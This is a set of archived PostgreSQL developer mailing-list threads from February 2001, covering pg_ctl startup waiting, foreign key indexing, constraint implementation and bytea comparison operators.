"msg_contents": "Tom Lane writes:\n\n> Peter Eisentraut <peter_e@gmx.net> writes:\n> > To alleviate the need for a start up script somewhat we could perhaps fix\n> > up pg_ctl to serve that purpose better.\n>\n> > -w should be the default, as has been suggested.\n>\n> Agreed.\n\nBut we need to make up a better way to wait for postmaster startup. The\ncurrent 'psql -l' is no good, as we have discussed, but if this thing is\ngoing into system startup scripts mainstream now we can't have that kind\nof random behaviour.\n\nActually, trying to connect is wrong-headed anyway. If the user has a\npeculiar setup to disallow connections from the local host (virtual host\nmaybe), even if it is only a temporary misconfiguration, we should still\nbe able to start up in good faith.\n\nHow is \"successfully started up\" constrained anyway? Even if we had a way\nto check that, the postmaster could still choose to abort briefly after\nour check, e.g., during the backend reaping phase.\n\nMaybe waiting on startup isn't so important to worry about it.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Mon, 5 Feb 2001 21:26:23 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "Re: pg_ctl wish list "
}
] |
[
{
"msg_contents": "Nic Ferrier writes:\n\n> >Should I remove init.d from /contrib?\n>\n> I'm just a postgres user but I don't agree with Peter. I think the\n> file is valuable.\n\nI didn't say it wasn't valuable, I just said it didn't work...\n\nThis problem seems to call for a more general solution than a handful of\nexample style files.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Mon, 5 Feb 2001 00:01:54 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "Re: Re: [BUGS] syslog logging setup broken?"
}
] |
[
{
"msg_contents": "Just a quick question, when a column of a table is defined to be a foreign\nkey, is it implicitly indexed, or does one still need to explicitly CREATE\nINDEX?\n\nChris\n\n--\nChristopher Kings-Lynne\nFamily Health Network (ACN 089 639 243)\n\n",
"msg_date": "Mon, 5 Feb 2001 11:01:47 +0800",
"msg_from": "\"Christopher Kings-Lynne\" <chriskl@familyhealth.com.au>",
"msg_from_op": true,
"msg_subject": "Foreign Key Columns And Indices"
},
{
"msg_contents": "On Mon, 5 Feb 2001, Christopher Kings-Lynne wrote:\n\n> Just a quick question, when a column of a table is defined to be a foreign\n> key, is it implicitly indexed, or does one still need to explicitly CREATE\n> INDEX?\n\nI don't think you can actually declare the column in the table as a\nforeign key. A foreign key is a column or columns in another table. For\na single column in the other table I'm pretty sure that column must be\n'not null' and 'unique'. An index - other than to inforce uniqueness\n(currently how it's done in PostgreSQL?) - has nothing to do with the\nforeign key.\n Being a mere mortal - not a demi-god of PostgreSQLness - this could be\nan over simplification or totally out to lunch.\n\n\nRod\n-- \n\n",
"msg_date": "Sun, 4 Feb 2001 19:22:37 -0800 (PST)",
"msg_from": "\"Roderick A. Anderson\" <raanders@tincan.org>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key Columns And Indices"
},
{
"msg_contents": "At 11:01 5/02/01 +0800, Christopher Kings-Lynne wrote:\n>Just a quick question, when a column of a table is defined to be a foreign\n>key, is it implicitly indexed, or does one still need to explicitly CREATE\n>INDEX?\n\nThe referenced columns must be either a PK or the set of columns in a\nUnique constraint. As a result, then will have indexes. Not sure about the\nreferencing table - are there any NOTICES when you create an FK?\n\n<Aside>\n\nPGSQL implements PK/FK & Unique constraints by using indexes (and rules) at\nthe moment. There is no guarantee that this will always be the case - in\nfact, one path to rationalizing the constraints system is to implement most\nfeatures as SQL CHECK constraints: \n\nPK: Check( (Select Count(*) from Table Where PKCOLS=PKCOLS) = 1) \nFK: Check( (Select Count(*) from PK_Table Where PKCOLS=FKCOLS) = 1)\n\netc.\n\nThis is something I would like to see discussed for 7.2.\n\n</Aside>\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Mon, 05 Feb 2001 14:31:33 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key Columns And Indices"
},
{
"msg_contents": "\nOn Mon, 5 Feb 2001, Christopher Kings-Lynne wrote:\n\n> Just a quick question, when a column of a table is defined to be a foreign\n> key, is it implicitly indexed, or does one still need to explicitly CREATE\n> INDEX?\n\nThe foreign key columns are not currently implicitly indexed but you may\nwish to index them if you're using a referential action other than no\naction or restrict.\n\n\n",
"msg_date": "Sun, 4 Feb 2001 23:32:50 -0800 (PST)",
"msg_from": "Stephan Szabo <sszabo@megazone23.bigpanda.com>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key Columns And Indices"
},
{
"msg_contents": "On Mon, 5 Feb 2001, Philip Warner wrote:\n\n> PGSQL implements PK/FK & Unique constraints by using indexes (and rules) at\n> the moment. There is no guarantee that this will always be the case - in\n> fact, one path to rationalizing the constraints system is to implement most\n> features as SQL CHECK constraints: \n> \n> PK: Check( (Select Count(*) from Table Where PKCOLS=PKCOLS) = 1) \n> FK: Check( (Select Count(*) from PK_Table Where PKCOLS=FKCOLS) = 1)\n\nThere are a couple of problems with this for the fk case. The biggest\nis that check constraints with subselects won't currently do the\ncorrect thing (even if it allowed you to specify them). We could\nreplace the current trigger on insert/update of fk table with a check\nconstraint assuming we made it possible to defer check constraints,\nbut all of the stuff on the pk table won't work that way due to \nthe referential actions and the fact that you need to check after delete\non pk rows (which AFAIK we don't currently do for check constraints).\n\nThe spec gives the check version of the foreign key constraint but it\nwas unfortunate that they also added functionality which then made that\ninsufficient. :(\n\n",
"msg_date": "Mon, 5 Feb 2001 09:29:55 -0800 (PST)",
"msg_from": "Stephan Szabo <sszabo@megazone23.bigpanda.com>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key Columns And Indices"
},
{
"msg_contents": "Stephan Szabo wrote:\n>\n> On Mon, 5 Feb 2001, Christopher Kings-Lynne wrote:\n>\n> > Just a quick question, when a column of a table is defined to be a foreign\n> > key, is it implicitly indexed, or does one still need to explicitly CREATE\n> > INDEX?\n>\n> The foreign key columns are not currently implicitly indexed but you may\n> wish to index them if you're using a referential action other than no\n> action or restrict.\n\n You'd probably want to index them either way, because even\n \"NO ACTION\" and \"RESTRICT\" mean that a scan for existing\n references is done on updates/deletes to the PK.\n\n\nJan\n\n--\n\n#======================================================================#\n# It's easier to get forgiveness for being wrong than for being right. #\n# Let's break this rule - forgive me. #\n#================================================== JanWieck@Yahoo.com #\n\n\n\n_________________________________________________________\nDo You Yahoo!?\nGet your free @yahoo.com address at http://mail.yahoo.com\n\n",
"msg_date": "Tue, 6 Feb 2001 07:57:45 -0500 (EST)",
"msg_from": "Jan Wieck <janwieck@Yahoo.com>",
"msg_from_op": false,
"msg_subject": "Re: Foreign Key Columns And Indices"
}
] |
[
{
"msg_contents": "I notice that in 7.0.3 there are no '<' or '>' operators defined for the\nbytea type. Is this (should this be) fixed in 7.l?\n\nIt just makes it impossible to do stuff like SELECT DISTINCT (byteafield),\netc...\n\nThe reason i'm trying to do this is I have written a query that discovers\nall the foreign keys in a table, (meaning I could actually modify pg_dump to\nuse ALTER TABLE ADD FOREIGN KEY statements instead of ADD CONSTRAINT\nTRIGGER), however I need to do a DISTINCT across pg_trigger.tgargs...\n\nChris\n\n--\nChristopher Kings-Lynne\nFamily Health Network (ACN 089 639 243)\n\n",
"msg_date": "Mon, 5 Feb 2001 11:14:51 +0800",
"msg_from": "\"Christopher Kings-Lynne\" <chriskl@familyhealth.com.au>",
"msg_from_op": true,
"msg_subject": "Comparison operators for bytea"
}
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.